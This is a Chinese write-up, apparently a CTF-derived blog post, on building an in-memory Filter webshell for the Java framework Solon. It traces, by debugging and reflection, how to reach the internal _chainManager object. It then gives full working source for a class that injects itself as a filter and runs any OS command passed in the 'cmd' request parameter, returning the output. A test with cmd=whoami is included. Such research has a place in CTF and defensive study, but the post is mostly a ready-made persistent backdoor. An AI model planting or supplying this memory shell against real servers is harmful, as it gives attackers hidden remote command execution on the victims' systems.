前言
跟学弟拿了这次国赛决赛的awdp的web题,发现两道题目都是solon框架,一道是beetl注入,一道是fastjson原生反序列化,做完学弟说要是题目不出网怎么打,所以就简单研究了一下solon框架的内存马。(有一说一,确实简单
Solon框架
从官网上可以知道:Solon框架是一种国产 Java 应用开发框架,追求克制、简洁、高效、开放、生态,支持java8 ~ java22,目前在github有2.2k的star,也是一种使用较多的国产小框架。
从Java web部分的文档中可以到它的请求处理过程是这样的。如下图
可以看到有过滤器Fliter、路由拦截器RouterInterceptor、处理器Handler等。其中Fliter过滤器是全局的,对所有请求都起作用的,这里便以实现Filter内存马为例说明一下过程。
环境搭建
直接用官网的模板 https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&project=maven&javaVer=1.8 导入IDEA即可,然后写一个flter过滤器
package com.example.demo;
import org.noear.solon.annotation.Component;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;
@Component
public class NormalFilter implements Filter {
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
System.out.println("NormalFilter::doFilter");
chain.doFilter(ctx);
}
}
调试及exp编写
在路由/hello下个断点进行调试,查看调用栈发现最早调用doFilter是在org.noear.solon.core.ChainManager,并且filter过滤器就存在filterNodes属性中
接着继续在org.noear.solon.core.ChainManager下断点,不断步进最后发现是在org.noear.solon.core.route.RouterWrapper进行了ChainManager的初始化并调用其addFliter功能进行了Flter过滤器的加载。
所以现在就是要找到内存中的变量_chainManager,并调用它的addFliter就可以加载我们的恶意Filter了。在这里使用c0ny1师傅的工具java-object-searcher,在我们的自定义的Flter里下断点,Evaluate处编写代码
//设置搜索_chainManager
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("_chainManager").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("E:\\Security research\\JavaSec\\Solon");
searcher.searchObject();
结果如下
另外从官网上我们就可以知道可以用Context ctx = Context.current();
直接获取到当前请求的上下文,所以获取_chainManager变量的代码可以这样写
Context ctx = Context.current();
Object obj = ctx.request();
Field field = obj.getClass().getSuperclass().getDeclaredField("request");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("serverHandler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("arg$1");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("_chainManager");
field.setAccessible(true);
obj = field.get(obj);
ChainManager chainManager = (ChainManager) obj;
chainManager.addFilter(new FilterMemshell(), 0);
接着我们在doFilter处写上我们的恶意代码,完整的Filter内存马如下
package com.example.demo;
import org.noear.solon.core.ChainManager;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;
import java.lang.reflect.Field;
public class FilterMemshell implements Filter {
static {
try {
Context ctx = Context.current();
Object obj = ctx.request();
Field field = obj.getClass().getSuperclass().getDeclaredField("request");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("serverHandler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("arg$1");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("_chainManager");
field.setAccessible(true);
obj = field.get(obj);
ChainManager chainManager = (ChainManager) obj;
chainManager.addFilter(new FilterMemshell(), 0);
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
try{
if(ctx.param("cmd")!=null){
String str = ctx.param("cmd");
try{
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str};
String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
ctx.output(output);
}catch (Exception e) {
e.printStackTrace();
}
}
}catch (Throwable e){
System.out.println("异常:"+e.getMessage()) ;
}
chain.doFilter(ctx);
}
}
测试
@Controller
public class DemoController {
@Mapping("/hello")
public String hello(@Param(defaultValue = "world") String name) throws Throwable {
new FilterMemshell();
return String.format("Hello %s!", name);
}
}
get传参cmd=whoami,可以看到成功打入Fliter内存马
扩展
在ChainManager类还看到其他组件的增加功能,由于他们都是一样存在变量_chainManager中,所以按上面获取变量的路径很容易就能得到其他组件的内存马,分别是RouterInterceptor、ActionReturnHandler、ActionExecuteHandler。